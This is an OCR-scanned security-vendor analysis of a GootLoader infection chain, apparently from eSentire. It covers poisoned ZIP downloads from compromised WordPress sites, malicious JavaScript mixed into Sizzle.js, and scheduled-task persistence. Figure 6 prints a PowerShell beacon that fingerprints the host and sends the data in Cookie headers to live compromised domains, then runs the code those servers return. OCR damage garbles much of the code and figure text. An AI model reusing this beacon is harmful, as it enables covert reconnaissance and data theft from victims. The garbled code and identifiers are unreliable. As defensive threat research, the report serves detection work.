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On December 2, 2022, one of our 24/7 SOC Cyber Analysts escalated an incident involving the GootLoader
malware at a pharmaceutical company. eSentire’s Threat Response Unit (TRU) responded quickly and proceeded

with an in-depth threat investigation of GootLoader.

eSentire leveraged Microsoft Defender for Endpoint to quarantine and prevent the threat (Figure 1).
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Figure 1: The malicious ZIP archive was delivered via a compromised WordPress website

GootLoader Initial Stage Analysis

TRU proceeded to conduct a deep analysis of the GootLoader payload and made a notable discovery: the
compromised WordPress website serving the payload generated different names for the ZIP archives when

different users visited the page, shown in Figure 2 above. Some examples of the names generated were:

e Uaw_fca_contract_2019_highlights_78352

e Telecommunications_franchise_agreement_13105
e Vwr_bio_agreement_85841

e Standard_agreement_calculation_hplc_11285

Based on analysis, TRU also determined that the last five digits of the filename can also change.
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Figure 2: Gootloader new infection chain

The initial malicious JavaScript code is mixed with legitimate Sizzle.js JavaScript Library (Figure 3).

[ (function( global, factery ) {
16 sleepj = 9665

19 awsg =

21 @

28 // See ticket $#14549 for
29 module.exports = global.document ?
30 factory( global, true )
3 function( w ) {
if ( 'w.document ) {
throw new Error( "30

{THT}

r }
return factory( w ):
)i

} else {
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factozy( global );:
R }

// Pass this if w.
]} (typeof windew !== "und

defined yet
ined”™ ? window : this, function( window, noGlebal ) {

H function piece2(treej, collect28t, knewu2d, rbkiqw){

uumegxj3 = palql+windm+poozO+compazres+holdO+kzjz+care2+dukerx+yardz+vllvheovix+cduby;
fearb( 23) = fwen:

payé (sleep))
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Figure 3: Malicious code is highlighted in red color

For the initial infection, the first obfuscated script is executed via wscript.exe process. After the script finishes

executing, it sleeps for ~12 seconds before spawning a secondary JS script. The second JS file is another

obfuscated script with approximately 40 MB in size. The script is padded with garbage strings as shown in Figure

4.
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Figure 4: The secondary JS is padded with garbage strings

This is a departure from the previous GootLoader persistence technique. Specifically after communicating

with the C2 server and domain join checks, the scheduled task was created to decode the registry values

containing the payload (see our analysis on GootLoader delivering IcedID).

The current persistence mechanism is achieved right after the successful infection without the malware

communicating with the C2. The persistence is created via a scheduled task using Schedule.Service COMObject

(Figure 5). The secondary JS file is dropped under C:\Users\<username>\AppData\Roaming path under one of the

existing folders on the machine and runs at each logon attempt. The task name and JS script file contains

randomly generated words.

> AppData > Roaming > Mael >

O Name Date modified

HxD 172

3| Air Conditioning.js

utive Relati

AIRCON~1.3S
s \AppData\Roaming\Mael

ttery Mode, No Start On Batteries

uling data is not available in this format.
logon time

Repeat: Stop 11 Running

Figure 5: Scheduled Task

The secondary JS script will spawn a PowerShell process with the command line “pOWErsHELI” that contains

the script shown in Figure 6.
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POWErsHELlsLeepslicesTDINlastIndexOfSHEL1ExecUteWRiTELiNEfuLlNamewscrIPt.shellcrEatEoBJECTSCRIptFULLnaMesearcheXeCsHELL.
ApPLiCATIoncscriptoPeN; z = (su) (k) (st) (x)

[Flg=function GWgNapeX ($XeeOCi) {$BKjalw=_D2BY9F9A72;function PIspjine ($uRVwWd) {SNRhHZ = [System.IO.MemoryStream]::new() :
$iUFadP = [System.IO.StreamWriter]::new((New-Object System.IO.Compression.GZipStream($NRhHZ[System.IO.Compression.
CompressionMode] : :Compress)))
$iUFadP.Write ([String]::Join(|!$uRVwWd)) ;

$iUFadP.Close () ; [System.Convert] : :ToBase645String ($NRhHZ.ToArray())}
$pnnn = PIspjne((dir env:|where{$_.value.Length -1t 100}|%{(§_.name§_.value)}) (OSWMI (Get-WmiObject Win32_OperatingSystem).
caption)) ;
$dfHGzl = PIspjne(gps|select name -unique|%{$_.name}) ;$yflZ = PIspjne(gps|where{$_.mainwindowtitle}|%{$_.name$ .
mainwindowtitle}) ;
$hYWerD = PIspjne(((new-object -com shell.application).Namespace(0)).Items()|%{if(§_.IsLink){0§_.Name}elseif(§_.IsFolder){.§|
.Name}elseif (§_.IsFileSystem) {2 [IO.Path]::GetFileName (§_.Path) }else{:§_.Name}}):
$OAMebK = PIspjne(gdr|where{$_.free -gt ° }1%{$_.name$_.used});[Net.ServicePointManager]::SecurityProtocol = [Net.
SecurityProtocolType] ::T1lsl2; [Net.ServicePointManager]::ServerCertificateValidationCallback ={$true}:§FGeriD=[System.Net.
WebRequest] : :Create (§XeeOCi) ;
$FGeriD.UserAgent=Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/S537.3¢ (KHTML like Gecko) Chrome/107.0.0.0 Safari/

$FGeriD.KeepAlive=_;

$FGeriD.Headers.Add (Cookie: $BKjalw=$pnnn; $BKjalw' 1=SdfHGzl: $BKjalw 2=$yflZ; $BKjalw 3=$hYWcrD; $BKjalw 4=SOAMebK) ;
S$NMQc=new-object System.IO.StreamReader $FGeriD.GetResponse () .GetResponseStream()

SpVbYKi=(SNMQc.ReadToEnd()) -split $BKjalw;if (SpVbYKi.Count -eq 3) {icx(SpVbYKRi[.] -replace );}}while( ) {try{GWgNapeX (@ (https
://momo.com/xmlrpc.phphttps://diariojudio.com/xmlrpc.phphttps://hbi-wohnen.de/xmlrpc.phphttps://mentecounseling.com/xmlrpc.
phphttps://sert-service.ru/xmlrpc.phphttp://cafeintra.nickit.dk/xmlrpc.phphttps://meerlezen.nl/xmlrpc.phphttps://
svezazdravlje.site/xmlrpc.phphttps://thegreatideaz.com/xmlrpc.phphttp://cardinalconstruction.ca/xmlrpc.php) | Get-Random) }
catch{};

sleep -s 2

Figure 6: PowerShell script spawned from the secondary JS script

The script retrieves the list of applications under the Desktop folder of the infected user, gets the processes

running on the host, operating system, environment variables, list of running user processes that use GUI

excluding background and system processes, the drives that has 50 MB free space or greater. The gathered

information then is base64-encoded and compressed to be sent out over POST requests to WordPress domains
with the tags in the Cookie field over HTTP/HTTPs (Figures 7-8). Please note that the tags will change based on

the JS payload:

e 0D2B9F9A72 — contains environment variables and OS information

e 0D2B9F9A721 — contains list of running processes

e O0D2B9F9A722 — contains list of running user processes that use GUI
e 0D2B9F9A723 — contains the list of applications under the Desktop folder
e O0D2B9F9A724 —local disk letter

The user-agent used: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko)

Chrome/107.0.0.0 Safari/537.36;

(GET /xmipc php HTTP/1.1

Client
User-Agent: Mozila/5.0 (Windows NT 10.0; Win6s; x64) (KHTML, ke Gecko) Chrome/107.0.0.0 Saferi/537.35

Cookies

) 002B9F3AT2

& 0DBIFOAT2L
5 0D2BSF9AT23

Transport
Connection: Close
Host: momo.com

VEfSyZhi

VBSONAAA

Figure 7: Traffic capture of a successful GootLoader infection
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A 669 405 HTTP cardinalconstruction... /xmirpc.php
A 675 405 HTTPS svezazdravlje.site /xmirpc.php
A 673 405 HTTPS mentecounseling.com  /xmirpc.php
A 6383 405 HTTP cardinalconstruction... /xmirpc.php

Figure 8: Beacon connections to contacted domains

On November 21, GootLoader Sites mentioned that GootLoader has access to approximately 34k domains.

With the new infection technique, a threat actor can consistently receive the fingerprinted information on the host

while having access to it and make further decisions on whether to deploy additional malware or not.
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Contacted domain thegreatideaz[.]Jcom/xmlrpc[.]php

Contacted domain cardinalconstruction[.]ca/xmlrpc[.]php

How eSentire is Responding

Our Threat Response Unit (TRU) combines threat intelligence obtained from research and security incidents to

create action-oriented outcomes for our customers. We are taking a full-scale response approach to fight modern

cybersecurity threats by deploying countermeasures, such as:
e Performing global threat hunts for indicators associated with GootLoader

Our detection content is supported by investigation runbooks, ensuring our SOC (Security Operations Center)
analysts respond rapidly to any intrusion attempts related to a known malware Tactics, Techniques, and
Procedures. In addition, TRU closely monitors the threat landscape and constantly addresses capability gaps and

conducts retroactive threat hunts to assess customer impact.

Recommendations from eSentire’s Threat Response Unit (TRU)

We recommend implementing the following controls to help secure your organization against GootLoader

malware:

e Confirm that all devices are protected with Endpoint Detection and Response (EDR) solutions

o Implement a Phishing and Security Awareness Training (PSAT) program that informs and educates
employees on emerging threats in the threat landscape.
o Ensure that standard procedures are in place for employees to submit potentially malicious content for

review.

e Address security issues in Active Directory by thoroughly reviewing and securing SYSVOL permissions,

implementing Least-Privilege administrative models and patching any known vulnerabilities.

While the TTPs used by adversaries grow in sophistication, they lead to a certain level of difficulties at which
critical business decisions must be made. Preventing the various attack paths utilized by the modern threat actor
requires actively monitoring the threat landscape, developing, and deploying endpoint detection, and the ability to

investigate logs & network data during active intrusions.

eSentire’s TRU is a world-class team of threat researchers who develop new detections enriched by original threat
intelligence and leverage new machine learning models that correlate multi-signal data and automate rapid

response to advanced threats.

If you are not currently engaged with an MDR provider, eSentire MDR can help you reclaim the advantage and

put your business ahead of disruption.

Learn what it means to have an elite team of Threat Hunters and Researchers that works for you. Connect with an

eSentire Security Specialist.
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Appendix

https://twitter.com/Gootl.oaderSites/status/1594888020058337281?s=20&t=PwGqmHigKVu2KKJlbzioRw

To learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next

Level MDR, connect with an eSentire Security Specialist now.

GET STARTED

ABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU)
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The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your
organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7
Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and
works as an extension of your security team to continuously improve our Managed Detection and Response
service. By providing complete visibility across your attack surface and performing global threat sweeps and
proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending

your organization against known and unknown threats.
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